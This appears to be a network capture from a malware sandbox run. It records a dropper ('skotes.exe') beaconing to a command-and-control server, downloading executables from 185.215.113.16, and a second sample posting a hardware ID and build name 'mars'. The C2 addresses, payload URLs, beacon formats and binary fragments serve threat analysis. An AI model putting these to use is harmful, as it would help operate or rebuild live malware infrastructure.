Nov 12, 2024 06:24:07.523186922 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 06:24:08.434937000 CET	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 35 0d 0a 20 3c 63 3e 31 30 30 35 36 39 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 36 39 36 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 36 39 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 <c>1005695001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005696031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005697001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	54772	185.215.113.16	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:08.447777033 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 06:24:09.360063076 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:09 GMT Content-Type: application/octet-stream Content-Length: 1816064 Last-Modified: Tue, 12 Nov 2024 05:07:27 GMT Connection: keep-alive ETag: "6732e28f-1bb600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 80 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 69 00 00 04 00 00 46 fe [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"i@iF@M$a$ $b@.rsrc $r@.idata $r@ *$t@juusqcgn POv@nciomklgpi@.taggant0i"@
Nov 12, 2024 06:24:09.360080957 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:09.360181093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:09.360228062 CET	12	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:09.360271931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:09.360346079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:09.360358000 CET	424	IN	Data Raw: 47 df c3 2f 81 87 29 22 49 a6 8d a7 b9 9d 52 30 7d 2f b6 08 d9 61 97 01 a1 4f ab 26 a0 7f 4d 1a d1 77 1c 0e c9 4f 74 02 4f 77 00 f0 6e 5f c2 fd d9 49 f6 dc ce 33 71 80 ea 0b 11 e0 e9 38 96 d2 86 63 a7 75 87 26 ae f5 e9 7a ba 05 7f b3 c9 3b ee 7d Data Ascii: G/)"IR0}/aO&MwOtOwn_I3q8cu&z;}s.c/j'2!-6t+J'NKw{vcFGI\|k3]Ij&yOeat2qwTx5c1\|K:\|l5nLa!N^j
Nov 12, 2024 06:24:09.360368013 CET	1236	IN	Data Raw: 40 6c 29 06 47 f7 8b 6e f2 6e b9 fa 11 77 f7 38 f7 b4 52 f2 d3 b5 63 0f 4b 74 d7 7c d1 3b 93 52 85 d9 8a 8f ca 16 6b 70 98 1f 56 35 b1 ef b1 fe 9a 4a 28 3c 15 6d 81 6b 51 7a 73 96 7c 60 41 c2 d8 ff 55 ff 94 13 6c 6c 48 fb 57 11 69 fb 43 91 d3 f0 Data Ascii: @l)Gnnw8RcKt\|;RkpV5J(<mkQzs\|`AUllHWiCQBg ?-g4r]@^iGREQImM$S,}K)3Kw!W<;,9bYW8wQ\} kC/
Nov 12, 2024 06:24:09.360378981 CET	1236	IN	Data Raw: 2c e8 18 ab d3 92 d9 05 39 8a 92 9d a3 4e 39 15 9b f9 83 8c c9 7f ff 87 47 8f b3 da 81 4f 52 3c 31 ea b9 73 d2 df 6b 3e 7e 62 7f da 76 ec b0 4e e0 d6 81 17 99 25 ee 13 c9 b3 53 4b b2 87 11 43 d8 9b 0e 3b d0 a6 8d 2b 68 64 b9 f5 be ba 6f 81 97 be Data Ascii: ,9N9GOR<1sk>~bvN%SKC;+hdoI{p%]q=tpBOV/2 8_6$Z8[,lWx_aKG3lh9 'GXw9CtOSs\KZsjo_lsYl4
Nov 12, 2024 06:24:09.360383987 CET	424	IN	Data Raw: d4 fb 92 1e cb bf 97 73 e4 7f 53 1c c9 7c 2b 31 19 4f bc 1b 88 f6 f2 81 d7 c0 53 0c 51 f2 91 05 89 04 b6 e2 d7 65 d7 08 91 b3 bb ef 42 f7 6b 0c d9 61 9f 12 d7 0f 52 15 ec 7c 54 7e b9 79 ce 2e c9 77 59 7a 16 f5 d9 02 91 79 a8 2c a9 6b 87 10 00 7c Data Ascii: sS\|+1OSQeBkaR\|T~y.wYzy,k\|<AO]u)xU1yK?P_R:MktgrCP.dCu[m{/T9[<ES]c3>n\|Vpy#1zV2yY}2=/5Rdya
Nov 12, 2024 06:24:09.365070105 CET	1236	IN	Data Raw: 6d 81 b1 76 93 61 54 b4 41 7c df 7e 45 27 56 34 c4 88 93 92 a3 1b de d6 48 cf fc 03 57 d5 73 0c a5 4d c5 36 9a 4c 06 00 67 d5 91 0c 81 79 57 2e 4c 0a 52 b2 45 57 92 e6 a0 2b 58 fc 2d f7 c5 f2 a3 cc c3 c0 a5 1f b0 83 aa 14 5e 0f c8 44 c6 ce 4d 75 Data Ascii: mvaTA\|~E'V4HWsM6LgyW.LREW+X-^DMumpp7nrT\|v:tg1RZ yW&&OnJiAlnjZy-U7{O^>WPkLQ:OynAbSPyK1uOHy.eVFnOVq"yvQC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	54783	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:16.430849075 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 36 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005695001&unit=246122658369
Nov 12, 2024 06:24:17.344451904 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	54784	185.215.113.16	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:17.990134954 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 12 Nov 2024 05:07:27 GMT If-None-Match: "6732e28f-1bb600"
Nov 12, 2024 06:24:18.889054060 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:18 GMT Last-Modified: Tue, 12 Nov 2024 05:07:27 GMT Connection: keep-alive ETag: "6732e28f-1bb600"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	54786	185.215.113.206	80	7988	C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:18.515877008 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 06:24:19.412810087 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:24:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:24:19.415908098 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 30 45 43 33 35 30 44 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 2d 2d 0d 0a Data Ascii: ------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="hwid"A00EC350DF1F1622379703------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="build"mars------AEHIJDAFBKFHIDGCFBFC--
Nov 12, 2024 06:24:19.694375992 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:24:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	54787	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:20.692852974 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 36 39 36 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005696031&unit=246122658369
Nov 12, 2024 06:24:21.607995033 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	54788	185.215.113.16	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:21.617324114 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 06:24:22.550307989 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:22 GMT Content-Type: application/octet-stream Content-Length: 2871296 Last-Modified: Tue, 12 Nov 2024 05:06:30 GMT Connection: keep-alive ETag: "6732e256-2bd000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 ed 2f 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@, `@ ,/,`Ui` @ @.rsrc`2@.idata 8@rfbmunfc+n+:@iqxhhqxy ,+@.taggant@@,"+@
Nov 12, 2024 06:24:22.550324917 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:22.550338984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:22.550358057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:22.550369978 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:22.550381899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:22.550394058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:22.550406933 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:22.550422907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 06:24:22.550436020 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `Dp~X//}Aks-?Z?kcHA+\2}mh]?>lRoP:w$w\HV+D8N.w.:o!b/G
Nov 12, 2024 06:24:22.555298090 CET	1236	IN	Data Raw: 18 3f be 3e 4a 43 e8 26 9b b4 85 2f de c2 47 07 d9 7b ab f6 93 44 1d d9 88 63 c9 98 89 5d d3 d4 8c b6 a7 57 b0 ac a6 2c 68 a4 3b 6d a1 77 06 43 07 35 a6 56 a7 17 a7 20 b8 6c cc 7f 0d 1c f8 5e b5 79 fc d8 94 11 2b 71 c9 a0 bf 88 81 e6 8d 1b 19 cb Data Ascii: ?>JC&/G{Dc]W,h;mwC5V l^y+qYc,thC%{ac90-y iMP4]aN``(@/arXAyqd[acs]oxI1S7eg!8&7$p>~Lu@Q? w`*L7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	54793	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:30.977133989 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 36 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005697001&unit=246122658369
Nov 12, 2024 06:24:31.901400089 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	54794	185.215.113.206	80	9188	C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:32.381685972 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 06:24:33.268462896 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:24:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:24:33.270931005 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 30 45 43 33 35 30 44 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 2d 2d 0d 0a Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="hwid"A00EC350DF1F1622379703------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="build"mars------DBKKFHIEGDHJKECAAKKE--
Nov 12, 2024 06:24:33.545979023 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:24:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	54795	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:33.523818016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 06:24:34.427329063 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	54798	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:35.948249102 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 06:24:36.845169067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	54799	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:38.479638100 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 06:24:39.390976906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
